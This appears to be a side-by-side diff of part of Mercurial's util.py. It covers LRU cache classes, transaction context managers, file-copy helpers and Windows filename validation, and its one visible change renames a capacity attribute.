1154 """copy-on-write sortdict
1154 """copy-on-write sortdict
1155
1155
1156 Be sure to call d = d.preparewrite() before writing to d.
1156 Be sure to call d = d.preparewrite() before writing to d.
1157 """
1157 """
1158
1158
1159 class transactional(object):
1159 class transactional(object):
1160 """Base class for making a transactional type into a context manager."""
1160 """Base class for making a transactional type into a context manager."""
1161 __metaclass__ = abc.ABCMeta
1161 __metaclass__ = abc.ABCMeta
1162
1162
1163 @abc.abstractmethod
1163 @abc.abstractmethod
1164 def close(self):
1164 def close(self):
1165 """Successfully closes the transaction."""
1165 """Successfully closes the transaction."""
1166
1166
1167 @abc.abstractmethod
1167 @abc.abstractmethod
1168 def release(self):
1168 def release(self):
1169 """Marks the end of the transaction.
1169 """Marks the end of the transaction.
1170
1170
1171 If the transaction has not been closed, it will be aborted.
1171 If the transaction has not been closed, it will be aborted.
1172 """
1172 """
1173
1173
1174 def __enter__(self):
1174 def __enter__(self):
1175 return self
1175 return self
1176
1176
1177 def __exit__(self, exc_type, exc_val, exc_tb):
1177 def __exit__(self, exc_type, exc_val, exc_tb):
1178 try:
1178 try:
1179 if exc_type is None:
1179 if exc_type is None:
1180 self.close()
1180 self.close()
1181 finally:
1181 finally:
1182 self.release()
1182 self.release()
1183
1183
1184 @contextlib.contextmanager
1184 @contextlib.contextmanager
1185 def acceptintervention(tr=None):
1185 def acceptintervention(tr=None):
1186 """A context manager that closes the transaction on InterventionRequired
1186 """A context manager that closes the transaction on InterventionRequired
1187
1187
1188 If no transaction was provided, this simply runs the body and returns
1188 If no transaction was provided, this simply runs the body and returns
1189 """
1189 """
1190 if not tr:
1190 if not tr:
1191 yield
1191 yield
1192 return
1192 return
1193 try:
1193 try:
1194 yield
1194 yield
1195 tr.close()
1195 tr.close()
1196 except error.InterventionRequired:
1196 except error.InterventionRequired:
1197 tr.close()
1197 tr.close()
1198 raise
1198 raise
1199 finally:
1199 finally:
1200 tr.release()
1200 tr.release()
1201
1201
1202 @contextlib.contextmanager
1202 @contextlib.contextmanager
1203 def nullcontextmanager():
1203 def nullcontextmanager():
1204 yield
1204 yield
1205
1205
1206 class _lrucachenode(object):
1206 class _lrucachenode(object):
1207 """A node in a doubly linked list.
1207 """A node in a doubly linked list.
1208
1208
1209 Holds a reference to nodes on either side as well as a key-value
1209 Holds a reference to nodes on either side as well as a key-value
1210 pair for the dictionary entry.
1210 pair for the dictionary entry.
1211 """
1211 """
1212 __slots__ = (u'next', u'prev', u'key', u'value')
1212 __slots__ = (u'next', u'prev', u'key', u'value')
1213
1213
1214 def __init__(self):
1214 def __init__(self):
1215 self.next = None
1215 self.next = None
1216 self.prev = None
1216 self.prev = None
1217
1217
1218 self.key = _notset
1218 self.key = _notset
1219 self.value = None
1219 self.value = None
1220
1220
1221 def markempty(self):
1221 def markempty(self):
1222 """Mark the node as emptied."""
1222 """Mark the node as emptied."""
1223 self.key = _notset
1223 self.key = _notset
1224
1224
1225 class lrucachedict(object):
1225 class lrucachedict(object):
1226 """Dict that caches most recent accesses and sets.
1226 """Dict that caches most recent accesses and sets.
1227
1227
1228 The dict consists of an actual backing dict - indexed by original
1228 The dict consists of an actual backing dict - indexed by original
1229 key - and a doubly linked circular list defining the order of entries in
1229 key - and a doubly linked circular list defining the order of entries in
1230 the cache.
1230 the cache.
1231
1231
1232 The head node is the newest entry in the cache. If the cache is full,
1232 The head node is the newest entry in the cache. If the cache is full,
1233 we recycle head.prev and make it the new head. Cache accesses result in
1233 we recycle head.prev and make it the new head. Cache accesses result in
1234 the node being moved to before the existing head and being marked as the
1234 the node being moved to before the existing head and being marked as the
1235 new head node.
1235 new head node.
1236 """
1236 """
1237 def __init__(self, max):
1237 def __init__(self, max):
1238 self._cache = {}
1238 self._cache = {}
1239
1239
1240 self._head = head = _lrucachenode()
1240 self._head = head = _lrucachenode()
1241 head.prev = head
1241 head.prev = head
1242 head.next = head
1242 head.next = head
1243 self._size = 1
1243 self._size = 1
1244 self._capacity = max
1244 self.capacity = max
1245
1245
1246 def __len__(self):
1246 def __len__(self):
1247 return len(self._cache)
1247 return len(self._cache)
1248
1248
1249 def __contains__(self, k):
1249 def __contains__(self, k):
1250 return k in self._cache
1250 return k in self._cache
1251
1251
1252 def __iter__(self):
1252 def __iter__(self):
1253 # We don't have to iterate in cache order, but why not.
1253 # We don't have to iterate in cache order, but why not.
1254 n = self._head
1254 n = self._head
1255 for i in range(len(self._cache)):
1255 for i in range(len(self._cache)):
1256 yield n.key
1256 yield n.key
1257 n = n.next
1257 n = n.next
1258
1258
1259 def __getitem__(self, k):
1259 def __getitem__(self, k):
1260 node = self._cache[k]
1260 node = self._cache[k]
1261 self._movetohead(node)
1261 self._movetohead(node)
1262 return node.value
1262 return node.value
1263
1263
1264 def __setitem__(self, k, v):
1264 def __setitem__(self, k, v):
1265 node = self._cache.get(k)
1265 node = self._cache.get(k)
1266 # Replace existing value and mark as newest.
1266 # Replace existing value and mark as newest.
1267 if node is not None:
1267 if node is not None:
1268 node.value = v
1268 node.value = v
1269 self._movetohead(node)
1269 self._movetohead(node)
1270 return
1270 return
1271
1271
1272 if self._size < self._capacity:
1272 if self._size < self.capacity:
1273 node = self._addcapacity()
1273 node = self._addcapacity()
1274 else:
1274 else:
1275 # Grab the last/oldest item.
1275 # Grab the last/oldest item.
1276 node = self._head.prev
1276 node = self._head.prev
1277
1277
1278 # At capacity. Kill the old entry.
1278 # At capacity. Kill the old entry.
1279 if node.key is not _notset:
1279 if node.key is not _notset:
1280 del self._cache[node.key]
1280 del self._cache[node.key]
1281
1281
1282 node.key = k
1282 node.key = k
1283 node.value = v
1283 node.value = v
1284 self._cache[k] = node
1284 self._cache[k] = node
1285 # And mark it as newest entry. No need to adjust order since it
1285 # And mark it as newest entry. No need to adjust order since it
1286 # is already self._head.prev.
1286 # is already self._head.prev.
1287 self._head = node
1287 self._head = node
1288
1288
1289 def __delitem__(self, k):
1289 def __delitem__(self, k):
1290 node = self._cache.pop(k)
1290 node = self._cache.pop(k)
1291 node.markempty()
1291 node.markempty()
1292
1292
1293 # Temporarily mark as newest item before re-adjusting head to make
1293 # Temporarily mark as newest item before re-adjusting head to make
1294 # this node the oldest item.
1294 # this node the oldest item.
1295 self._movetohead(node)
1295 self._movetohead(node)
1296 self._head = node.next
1296 self._head = node.next
1297
1297
1298 # Additional dict methods.
1298 # Additional dict methods.
1299
1299
1300 def get(self, k, default=None):
1300 def get(self, k, default=None):
1301 try:
1301 try:
1302 return self._cache[k].value
1302 return self._cache[k].value
1303 except KeyError:
1303 except KeyError:
1304 return default
1304 return default
1305
1305
1306 def clear(self):
1306 def clear(self):
1307 n = self._head
1307 n = self._head
1308 while n.key is not _notset:
1308 while n.key is not _notset:
1309 n.markempty()
1309 n.markempty()
1310 n = n.next
1310 n = n.next
1311
1311
1312 self._cache.clear()
1312 self._cache.clear()
1313
1313
1314 def copy(self):
1314 def copy(self):
1315 result = lrucachedict(self._capacity)
1315 result = lrucachedict(self.capacity)
1316
1316
1317 # We copy entries by iterating in oldest-to-newest order so the copy
1317 # We copy entries by iterating in oldest-to-newest order so the copy
1318 # has the correct ordering.
1318 # has the correct ordering.
1319
1319
1320 # Find the first non-empty entry.
1320 # Find the first non-empty entry.
1321 n = self._head.prev
1321 n = self._head.prev
1322 while n.key is _notset and n is not self._head:
1322 while n.key is _notset and n is not self._head:
1323 n = n.prev
1323 n = n.prev
1324
1324
1325 for i in range(len(self._cache)):
1325 for i in range(len(self._cache)):
1326 result[n.key] = n.value
1326 result[n.key] = n.value
1327 n = n.prev
1327 n = n.prev
1328
1328
1329 return result
1329 return result
1330
1330
1331 def _movetohead(self, node):
1331 def _movetohead(self, node):
1332 """Mark a node as the newest, making it the new head.
1332 """Mark a node as the newest, making it the new head.
1333
1333
1334 When a node is accessed, it becomes the freshest entry in the LRU
1334 When a node is accessed, it becomes the freshest entry in the LRU
1335 list, which is denoted by self._head.
1335 list, which is denoted by self._head.
1336
1336
1337 Visually, let's make ``N`` the new head node (* denotes head):
1337 Visually, let's make ``N`` the new head node (* denotes head):
1338
1338
1339 previous/oldest <-> head <-> next/next newest
1339 previous/oldest <-> head <-> next/next newest
1340
1340
1341 ----<->--- A* ---<->-----
1341 ----<->--- A* ---<->-----
1342 | |
1342 | |
1343 E <-> D <-> N <-> C <-> B
1343 E <-> D <-> N <-> C <-> B
1344
1344
1345 To:
1345 To:
1346
1346
1347 ----<->--- N* ---<->-----
1347 ----<->--- N* ---<->-----
1348 | |
1348 | |
1349 E <-> D <-> C <-> B <-> A
1349 E <-> D <-> C <-> B <-> A
1350
1350
1351 This requires the following moves:
1351 This requires the following moves:
1352
1352
1353 C.next = D (node.prev.next = node.next)
1353 C.next = D (node.prev.next = node.next)
1354 D.prev = C (node.next.prev = node.prev)
1354 D.prev = C (node.next.prev = node.prev)
1355 E.next = N (head.prev.next = node)
1355 E.next = N (head.prev.next = node)
1356 N.prev = E (node.prev = head.prev)
1356 N.prev = E (node.prev = head.prev)
1357 N.next = A (node.next = head)
1357 N.next = A (node.next = head)
1358 A.prev = N (head.prev = node)
1358 A.prev = N (head.prev = node)
1359 """
1359 """
1360 head = self._head
1360 head = self._head
1361 # C.next = D
1361 # C.next = D
1362 node.prev.next = node.next
1362 node.prev.next = node.next
1363 # D.prev = C
1363 # D.prev = C
1364 node.next.prev = node.prev
1364 node.next.prev = node.prev
1365 # N.prev = E
1365 # N.prev = E
1366 node.prev = head.prev
1366 node.prev = head.prev
1367 # N.next = A
1367 # N.next = A
1368 # It is tempting to do just "head" here, however if node is
1368 # It is tempting to do just "head" here, however if node is
1369 # adjacent to head, this will do bad things.
1369 # adjacent to head, this will do bad things.
1370 node.next = head.prev.next
1370 node.next = head.prev.next
1371 # E.next = N
1371 # E.next = N
1372 node.next.prev = node
1372 node.next.prev = node
1373 # A.prev = N
1373 # A.prev = N
1374 node.prev.next = node
1374 node.prev.next = node
1375
1375
1376 self._head = node
1376 self._head = node
1377
1377
1378 def _addcapacity(self):
1378 def _addcapacity(self):
1379 """Add a node to the circular linked list.
1379 """Add a node to the circular linked list.
1380
1380
1381 The new node is inserted before the head node.
1381 The new node is inserted before the head node.
1382 """
1382 """
1383 head = self._head
1383 head = self._head
1384 node = _lrucachenode()
1384 node = _lrucachenode()
1385 head.prev.next = node
1385 head.prev.next = node
1386 node.prev = head.prev
1386 node.prev = head.prev
1387 node.next = head
1387 node.next = head
1388 head.prev = node
1388 head.prev = node
1389 self._size += 1
1389 self._size += 1
1390 return node
1390 return node
1391
1391
1392 def lrucachefunc(func):
1392 def lrucachefunc(func):
1393 '''cache most recent results of function calls'''
1393 '''cache most recent results of function calls'''
1394 cache = {}
1394 cache = {}
1395 order = collections.deque()
1395 order = collections.deque()
1396 if func.__code__.co_argcount == 1:
1396 if func.__code__.co_argcount == 1:
1397 def f(arg):
1397 def f(arg):
1398 if arg not in cache:
1398 if arg not in cache:
1399 if len(cache) > 20:
1399 if len(cache) > 20:
1400 del cache[order.popleft()]
1400 del cache[order.popleft()]
1401 cache[arg] = func(arg)
1401 cache[arg] = func(arg)
1402 else:
1402 else:
1403 order.remove(arg)
1403 order.remove(arg)
1404 order.append(arg)
1404 order.append(arg)
1405 return cache[arg]
1405 return cache[arg]
1406 else:
1406 else:
1407 def f(*args):
1407 def f(*args):
1408 if args not in cache:
1408 if args not in cache:
1409 if len(cache) > 20:
1409 if len(cache) > 20:
1410 del cache[order.popleft()]
1410 del cache[order.popleft()]
1411 cache[args] = func(*args)
1411 cache[args] = func(*args)
1412 else:
1412 else:
1413 order.remove(args)
1413 order.remove(args)
1414 order.append(args)
1414 order.append(args)
1415 return cache[args]
1415 return cache[args]
1416
1416
1417 return f
1417 return f
1418
1418
1419 class propertycache(object):
1419 class propertycache(object):
1420 def __init__(self, func):
1420 def __init__(self, func):
1421 self.func = func
1421 self.func = func
1422 self.name = func.__name__
1422 self.name = func.__name__
1423 def __get__(self, obj, type=None):
1423 def __get__(self, obj, type=None):
1424 result = self.func(obj)
1424 result = self.func(obj)
1425 self.cachevalue(obj, result)
1425 self.cachevalue(obj, result)
1426 return result
1426 return result
1427
1427
1428 def cachevalue(self, obj, value):
1428 def cachevalue(self, obj, value):
1429 # __dict__ assignment required to bypass __setattr__ (eg: repoview)
1429 # __dict__ assignment required to bypass __setattr__ (eg: repoview)
1430 obj.__dict__[self.name] = value
1430 obj.__dict__[self.name] = value
1431
1431
1432 def clearcachedproperty(obj, prop):
1432 def clearcachedproperty(obj, prop):
1433 '''clear a cached property value, if one has been set'''
1433 '''clear a cached property value, if one has been set'''
1434 if prop in obj.__dict__:
1434 if prop in obj.__dict__:
1435 del obj.__dict__[prop]
1435 del obj.__dict__[prop]
1436
1436
1437 def increasingchunks(source, min=1024, max=65536):
1437 def increasingchunks(source, min=1024, max=65536):
1438 '''return no less than min bytes per chunk while data remains,
1438 '''return no less than min bytes per chunk while data remains,
1439 doubling min after each chunk until it reaches max'''
1439 doubling min after each chunk until it reaches max'''
1440 def log2(x):
1440 def log2(x):
1441 if not x:
1441 if not x:
1442 return 0
1442 return 0
1443 i = 0
1443 i = 0
1444 while x:
1444 while x:
1445 x >>= 1
1445 x >>= 1
1446 i += 1
1446 i += 1
1447 return i - 1
1447 return i - 1
1448
1448
1449 buf = []
1449 buf = []
1450 blen = 0
1450 blen = 0
1451 for chunk in source:
1451 for chunk in source:
1452 buf.append(chunk)
1452 buf.append(chunk)
1453 blen += len(chunk)
1453 blen += len(chunk)
1454 if blen >= min:
1454 if blen >= min:
1455 if min < max:
1455 if min < max:
1456 min = min << 1
1456 min = min << 1
1457 nmin = 1 << log2(blen)
1457 nmin = 1 << log2(blen)
1458 if nmin > min:
1458 if nmin > min:
1459 min = nmin
1459 min = nmin
1460 if min > max:
1460 if min > max:
1461 min = max
1461 min = max
1462 yield ''.join(buf)
1462 yield ''.join(buf)
1463 blen = 0
1463 blen = 0
1464 buf = []
1464 buf = []
1465 if buf:
1465 if buf:
1466 yield ''.join(buf)
1466 yield ''.join(buf)
1467
1467
1468 def always(fn):
1468 def always(fn):
1469 return True
1469 return True
1470
1470
1471 def never(fn):
1471 def never(fn):
1472 return False
1472 return False
1473
1473
1474 def nogc(func):
1474 def nogc(func):
1475 """disable garbage collector
1475 """disable garbage collector
1476
1476
1477 Python's garbage collector triggers a GC each time a certain number of
1477 Python's garbage collector triggers a GC each time a certain number of
1478 container objects (the number being defined by gc.get_threshold()) are
1478 container objects (the number being defined by gc.get_threshold()) are
1479 allocated even when marked not to be tracked by the collector. Tracking has
1479 allocated even when marked not to be tracked by the collector. Tracking has
1480 no effect on when GCs are triggered, only on what objects the GC looks
1480 no effect on when GCs are triggered, only on what objects the GC looks
1481 into. As a workaround, disable GC while building complex (huge)
1481 into. As a workaround, disable GC while building complex (huge)
1482 containers.
1482 containers.
1483
1483
1484 This garbage collector issue have been fixed in 2.7. But it still affect
1484 This garbage collector issue have been fixed in 2.7. But it still affect
1485 CPython's performance.
1485 CPython's performance.
1486 """
1486 """
1487 def wrapper(*args, **kwargs):
1487 def wrapper(*args, **kwargs):
1488 gcenabled = gc.isenabled()
1488 gcenabled = gc.isenabled()
1489 gc.disable()
1489 gc.disable()
1490 try:
1490 try:
1491 return func(*args, **kwargs)
1491 return func(*args, **kwargs)
1492 finally:
1492 finally:
1493 if gcenabled:
1493 if gcenabled:
1494 gc.enable()
1494 gc.enable()
1495 return wrapper
1495 return wrapper
1496
1496
1497 if pycompat.ispypy:
1497 if pycompat.ispypy:
1498 # PyPy runs slower with gc disabled
1498 # PyPy runs slower with gc disabled
1499 nogc = lambda x: x
1499 nogc = lambda x: x
1500
1500
1501 def pathto(root, n1, n2):
1501 def pathto(root, n1, n2):
1502 '''return the relative path from one place to another.
1502 '''return the relative path from one place to another.
1503 root should use os.sep to separate directories
1503 root should use os.sep to separate directories
1504 n1 should use os.sep to separate directories
1504 n1 should use os.sep to separate directories
1505 n2 should use "/" to separate directories
1505 n2 should use "/" to separate directories
1506 returns an os.sep-separated path.
1506 returns an os.sep-separated path.
1507
1507
1508 If n1 is a relative path, it's assumed it's
1508 If n1 is a relative path, it's assumed it's
1509 relative to root.
1509 relative to root.
1510 n2 should always be relative to root.
1510 n2 should always be relative to root.
1511 '''
1511 '''
1512 if not n1:
1512 if not n1:
1513 return localpath(n2)
1513 return localpath(n2)
1514 if os.path.isabs(n1):
1514 if os.path.isabs(n1):
1515 if os.path.splitdrive(root)[0] != os.path.splitdrive(n1)[0]:
1515 if os.path.splitdrive(root)[0] != os.path.splitdrive(n1)[0]:
1516 return os.path.join(root, localpath(n2))
1516 return os.path.join(root, localpath(n2))
1517 n2 = '/'.join((pconvert(root), n2))
1517 n2 = '/'.join((pconvert(root), n2))
1518 a, b = splitpath(n1), n2.split('/')
1518 a, b = splitpath(n1), n2.split('/')
1519 a.reverse()
1519 a.reverse()
1520 b.reverse()
1520 b.reverse()
1521 while a and b and a[-1] == b[-1]:
1521 while a and b and a[-1] == b[-1]:
1522 a.pop()
1522 a.pop()
1523 b.pop()
1523 b.pop()
1524 b.reverse()
1524 b.reverse()
1525 return pycompat.ossep.join((['..'] * len(a)) + b) or '.'
1525 return pycompat.ossep.join((['..'] * len(a)) + b) or '.'
1526
1526
1527 # the location of data files matching the source code
1527 # the location of data files matching the source code
1528 if procutil.mainfrozen() and getattr(sys, 'frozen', None) != 'macosx_app':
1528 if procutil.mainfrozen() and getattr(sys, 'frozen', None) != 'macosx_app':
1529 # executable version (py2exe) doesn't support __file__
1529 # executable version (py2exe) doesn't support __file__
1530 datapath = os.path.dirname(pycompat.sysexecutable)
1530 datapath = os.path.dirname(pycompat.sysexecutable)
1531 else:
1531 else:
1532 datapath = os.path.dirname(pycompat.fsencode(__file__))
1532 datapath = os.path.dirname(pycompat.fsencode(__file__))
1533
1533
1534 i18n.setdatapath(datapath)
1534 i18n.setdatapath(datapath)
1535
1535
1536 def checksignature(func):
1536 def checksignature(func):
1537 '''wrap a function with code to check for calling errors'''
1537 '''wrap a function with code to check for calling errors'''
1538 def check(*args, **kwargs):
1538 def check(*args, **kwargs):
1539 try:
1539 try:
1540 return func(*args, **kwargs)
1540 return func(*args, **kwargs)
1541 except TypeError:
1541 except TypeError:
1542 if len(traceback.extract_tb(sys.exc_info()[2])) == 1:
1542 if len(traceback.extract_tb(sys.exc_info()[2])) == 1:
1543 raise error.SignatureError
1543 raise error.SignatureError
1544 raise
1544 raise
1545
1545
1546 return check
1546 return check
1547
1547
1548 # a whilelist of known filesystems where hardlink works reliably
1548 # a whilelist of known filesystems where hardlink works reliably
1549 _hardlinkfswhitelist = {
1549 _hardlinkfswhitelist = {
1550 'apfs',
1550 'apfs',
1551 'btrfs',
1551 'btrfs',
1552 'ext2',
1552 'ext2',
1553 'ext3',
1553 'ext3',
1554 'ext4',
1554 'ext4',
1555 'hfs',
1555 'hfs',
1556 'jfs',
1556 'jfs',
1557 'NTFS',
1557 'NTFS',
1558 'reiserfs',
1558 'reiserfs',
1559 'tmpfs',
1559 'tmpfs',
1560 'ufs',
1560 'ufs',
1561 'xfs',
1561 'xfs',
1562 'zfs',
1562 'zfs',
1563 }
1563 }
1564
1564
1565 def copyfile(src, dest, hardlink=False, copystat=False, checkambig=False):
1565 def copyfile(src, dest, hardlink=False, copystat=False, checkambig=False):
1566 '''copy a file, preserving mode and optionally other stat info like
1566 '''copy a file, preserving mode and optionally other stat info like
1567 atime/mtime
1567 atime/mtime
1568
1568
1569 checkambig argument is used with filestat, and is useful only if
1569 checkambig argument is used with filestat, and is useful only if
1570 destination file is guarded by any lock (e.g. repo.lock or
1570 destination file is guarded by any lock (e.g. repo.lock or
1571 repo.wlock).
1571 repo.wlock).
1572
1572
1573 copystat and checkambig should be exclusive.
1573 copystat and checkambig should be exclusive.
1574 '''
1574 '''
1575 assert not (copystat and checkambig)
1575 assert not (copystat and checkambig)
1576 oldstat = None
1576 oldstat = None
1577 if os.path.lexists(dest):
1577 if os.path.lexists(dest):
1578 if checkambig:
1578 if checkambig:
1579 oldstat = checkambig and filestat.frompath(dest)
1579 oldstat = checkambig and filestat.frompath(dest)
1580 unlink(dest)
1580 unlink(dest)
1581 if hardlink:
1581 if hardlink:
1582 # Hardlinks are problematic on CIFS (issue4546), do not allow hardlinks
1582 # Hardlinks are problematic on CIFS (issue4546), do not allow hardlinks
1583 # unless we are confident that dest is on a whitelisted filesystem.
1583 # unless we are confident that dest is on a whitelisted filesystem.
1584 try:
1584 try:
1585 fstype = getfstype(os.path.dirname(dest))
1585 fstype = getfstype(os.path.dirname(dest))
1586 except OSError:
1586 except OSError:
1587 fstype = None
1587 fstype = None
1588 if fstype not in _hardlinkfswhitelist:
1588 if fstype not in _hardlinkfswhitelist:
1589 hardlink = False
1589 hardlink = False
1590 if hardlink:
1590 if hardlink:
1591 try:
1591 try:
1592 oslink(src, dest)
1592 oslink(src, dest)
1593 return
1593 return
1594 except (IOError, OSError):
1594 except (IOError, OSError):
1595 pass # fall back to normal copy
1595 pass # fall back to normal copy
1596 if os.path.islink(src):
1596 if os.path.islink(src):
1597 os.symlink(os.readlink(src), dest)
1597 os.symlink(os.readlink(src), dest)
1598 # copytime is ignored for symlinks, but in general copytime isn't needed
1598 # copytime is ignored for symlinks, but in general copytime isn't needed
1599 # for them anyway
1599 # for them anyway
1600 else:
1600 else:
1601 try:
1601 try:
1602 shutil.copyfile(src, dest)
1602 shutil.copyfile(src, dest)
1603 if copystat:
1603 if copystat:
1604 # copystat also copies mode
1604 # copystat also copies mode
1605 shutil.copystat(src, dest)
1605 shutil.copystat(src, dest)
1606 else:
1606 else:
1607 shutil.copymode(src, dest)
1607 shutil.copymode(src, dest)
1608 if oldstat and oldstat.stat:
1608 if oldstat and oldstat.stat:
1609 newstat = filestat.frompath(dest)
1609 newstat = filestat.frompath(dest)
1610 if newstat.isambig(oldstat):
1610 if newstat.isambig(oldstat):
1611 # stat of copied file is ambiguous to original one
1611 # stat of copied file is ambiguous to original one
1612 advanced = (
1612 advanced = (
1613 oldstat.stat[stat.ST_MTIME] + 1) & 0x7fffffff
1613 oldstat.stat[stat.ST_MTIME] + 1) & 0x7fffffff
1614 os.utime(dest, (advanced, advanced))
1614 os.utime(dest, (advanced, advanced))
1615 except shutil.Error as inst:
1615 except shutil.Error as inst:
1616 raise error.Abort(str(inst))
1616 raise error.Abort(str(inst))
1617
1617
1618 def copyfiles(src, dst, hardlink=None, progress=None):
1618 def copyfiles(src, dst, hardlink=None, progress=None):
1619 """Copy a directory tree using hardlinks if possible."""
1619 """Copy a directory tree using hardlinks if possible."""
1620 num = 0
1620 num = 0
1621
1621
1622 def settopic():
1622 def settopic():
1623 if progress:
1623 if progress:
1624 progress.topic = _('linking') if hardlink else _('copying')
1624 progress.topic = _('linking') if hardlink else _('copying')
1625
1625
1626 if os.path.isdir(src):
1626 if os.path.isdir(src):
1627 if hardlink is None:
1627 if hardlink is None:
1628 hardlink = (os.stat(src).st_dev ==
1628 hardlink = (os.stat(src).st_dev ==
1629 os.stat(os.path.dirname(dst)).st_dev)
1629 os.stat(os.path.dirname(dst)).st_dev)
1630 settopic()
1630 settopic()
1631 os.mkdir(dst)
1631 os.mkdir(dst)
1632 for name, kind in listdir(src):
1632 for name, kind in listdir(src):
1633 srcname = os.path.join(src, name)
1633 srcname = os.path.join(src, name)
1634 dstname = os.path.join(dst, name)
1634 dstname = os.path.join(dst, name)
1635 hardlink, n = copyfiles(srcname, dstname, hardlink, progress)
1635 hardlink, n = copyfiles(srcname, dstname, hardlink, progress)
1636 num += n
1636 num += n
1637 else:
1637 else:
1638 if hardlink is None:
1638 if hardlink is None:
1639 hardlink = (os.stat(os.path.dirname(src)).st_dev ==
1639 hardlink = (os.stat(os.path.dirname(src)).st_dev ==
1640 os.stat(os.path.dirname(dst)).st_dev)
1640 os.stat(os.path.dirname(dst)).st_dev)
1641 settopic()
1641 settopic()
1642
1642
1643 if hardlink:
1643 if hardlink:
1644 try:
1644 try:
1645 oslink(src, dst)
1645 oslink(src, dst)
1646 except (IOError, OSError):
1646 except (IOError, OSError):
1647 hardlink = False
1647 hardlink = False
1648 shutil.copy(src, dst)
1648 shutil.copy(src, dst)
1649 else:
1649 else:
1650 shutil.copy(src, dst)
1650 shutil.copy(src, dst)
1651 num += 1
1651 num += 1
1652 if progress:
1652 if progress:
1653 progress.increment()
1653 progress.increment()
1654
1654
1655 return hardlink, num
1655 return hardlink, num
1656
1656
1657 _winreservednames = {
1657 _winreservednames = {
1658 'con', 'prn', 'aux', 'nul',
1658 'con', 'prn', 'aux', 'nul',
1659 'com1', 'com2', 'com3', 'com4', 'com5', 'com6', 'com7', 'com8', 'com9',
1659 'com1', 'com2', 'com3', 'com4', 'com5', 'com6', 'com7', 'com8', 'com9',
1660 'lpt1', 'lpt2', 'lpt3', 'lpt4', 'lpt5', 'lpt6', 'lpt7', 'lpt8', 'lpt9',
1660 'lpt1', 'lpt2', 'lpt3', 'lpt4', 'lpt5', 'lpt6', 'lpt7', 'lpt8', 'lpt9',
1661 }
1661 }
1662 _winreservedchars = ':*?"<>|'
1662 _winreservedchars = ':*?"<>|'
1663 def checkwinfilename(path):
1663 def checkwinfilename(path):
1664 r'''Check that the base-relative path is a valid filename on Windows.
1664 r'''Check that the base-relative path is a valid filename on Windows.
1665 Returns None if the path is ok, or a UI string describing the problem.
1665 Returns None if the path is ok, or a UI string describing the problem.
1666
1666
1667 >>> checkwinfilename(b"just/a/normal/path")
1667 >>> checkwinfilename(b"just/a/normal/path")
1668 >>> checkwinfilename(b"foo/bar/con.xml")
1668 >>> checkwinfilename(b"foo/bar/con.xml")
1669 "filename contains 'con', which is reserved on Windows"
1669 "filename contains 'con', which is reserved on Windows"
1670 >>> checkwinfilename(b"foo/con.xml/bar")
1670 >>> checkwinfilename(b"foo/con.xml/bar")
1671 "filename contains 'con', which is reserved on Windows"
1671 "filename contains 'con', which is reserved on Windows"
1672 >>> checkwinfilename(b"foo/bar/xml.con")
1672 >>> checkwinfilename(b"foo/bar/xml.con")
1673 >>> checkwinfilename(b"foo/bar/AUX/bla.txt")
1673 >>> checkwinfilename(b"foo/bar/AUX/bla.txt")
1674 "filename contains 'AUX', which is reserved on Windows"
1674 "filename contains 'AUX', which is reserved on Windows"
1675 >>> checkwinfilename(b"foo/bar/bla:.txt")
1675 >>> checkwinfilename(b"foo/bar/bla:.txt")
1676 "filename contains ':', which is reserved on Windows"
1676 "filename contains ':', which is reserved on Windows"
1677 >>> checkwinfilename(b"foo/bar/b\07la.txt")
1677 >>> checkwinfilename(b"foo/bar/b\07la.txt")
1678 "filename contains '\\x07', which is invalid on Windows"
1678 "filename contains '\\x07', which is invalid on Windows"
1679 >>> checkwinfilename(b"foo/bar/bla ")
1679 >>> checkwinfilename(b"foo/bar/bla ")
1680 "filename ends with ' ', which is not allowed on Windows"
1680 "filename ends with ' ', which is not allowed on Windows"
1681 >>> checkwinfilename(b"../bar")
1681 >>> checkwinfilename(b"../bar")
1682 >>> checkwinfilename(b"foo\\")
1682 >>> checkwinfilename(b"foo\\")
1683 "filename ends with '\\', which is invalid on Windows"
1683 "filename ends with '\\', which is invalid on Windows"
1684 >>> checkwinfilename(b"foo\\/bar")
1684 >>> checkwinfilename(b"foo\\/bar")
1685 "directory name ends with '\\', which is invalid on Windows"
1685 "directory name ends with '\\', which is invalid on Windows"
1686 '''
1686 '''
1687 if path.endswith('\\'):
1687 if path.endswith('\\'):
1688 return _("filename ends with '\\', which is invalid on Windows")
1688 return _("filename ends with '\\', which is invalid on Windows")
1689 if '\\/' in path:
1689 if '\\/' in path:
1690 return _("directory name ends with '\\', which is invalid on Windows")
1690 return _("directory name ends with '\\', which is invalid on Windows")
1691 for n in path.replace('\\', '/').split('/'):
1691 for n in path.replace('\\', '/').split('/'):
1692 if not n:
1692 if not n:
1693 continue
1693 continue
1694 for c in _filenamebytestr(n):
1694 for c in _filenamebytestr(n):
1695 if c in _winreservedchars:
1695 if c in _winreservedchars:
1696 return _("filename contains '%s', which is reserved "
1696 return _("filename contains '%s', which is reserved "
1697 "on Windows") % c
1697 "on Windows") % c
1698 if ord(c) <= 31:
1698 if ord(c) <= 31:
1699 return _("filename contains '%s', which is invalid "
1699 return _("filename contains '%s', which is invalid "
1700 "on Windows") % stringutil.escapestr(c)
1700 "on Windows") % stringutil.escapestr(c)
1701 base = n.split('.')[0]
1701 base = n.split('.')[0]
1702 if base and base.lower() in _winreservednames:
1702 if base and base.lower() in _winreservednames:
1703 return _("filename contains '%s', which is reserved "
1703 return _("filename contains '%s', which is reserved "
1704 "on Windows") % base
1704 "on Windows") % base
1705 t = n[-1:]
1705 t = n[-1:]
1706 if t in '. ' and n not in '..':
1706 if t in '. ' and n not in '..':
1707 return _("filename ends with '%s', which is not allowed "
1707 return _("filename ends with '%s', which is not allowed "
1708 "on Windows") % t
1708 "on Windows") % t
1709
1709
1710 if pycompat.iswindows:
1710 if pycompat.iswindows:
1711 checkosfilename = checkwinfilename
1711 checkosfilename = checkwinfilename
1712 timer = time.clock
1712 timer = time.clock
1713 else:
1713 else:
1714 checkosfilename = platform.checkosfilename
1714 checkosfilename = platform.checkosfilename
1715 timer = time.time
1715 timer = time.time
1716
1716
1717 if safehasattr(time, "perf_counter"):
1717 if safehasattr(time, "perf_counter"):
1718 timer = time.perf_counter
1718 timer = time.perf_counter
1719
1719
1720 def makelock(info, pathname):
1720 def makelock(info, pathname):
1721 """Create a lock file atomically if possible
1721 """Create a lock file atomically if possible
1722
1722
1723 This may leave a stale lock file if symlink isn't supported and signal
1723 This may leave a stale lock file if symlink isn't supported and signal
1724 interrupt is enabled.
1724 interrupt is enabled.
1725 """
1725 """
1726 try:
1726 try:
1727 return os.symlink(info, pathname)
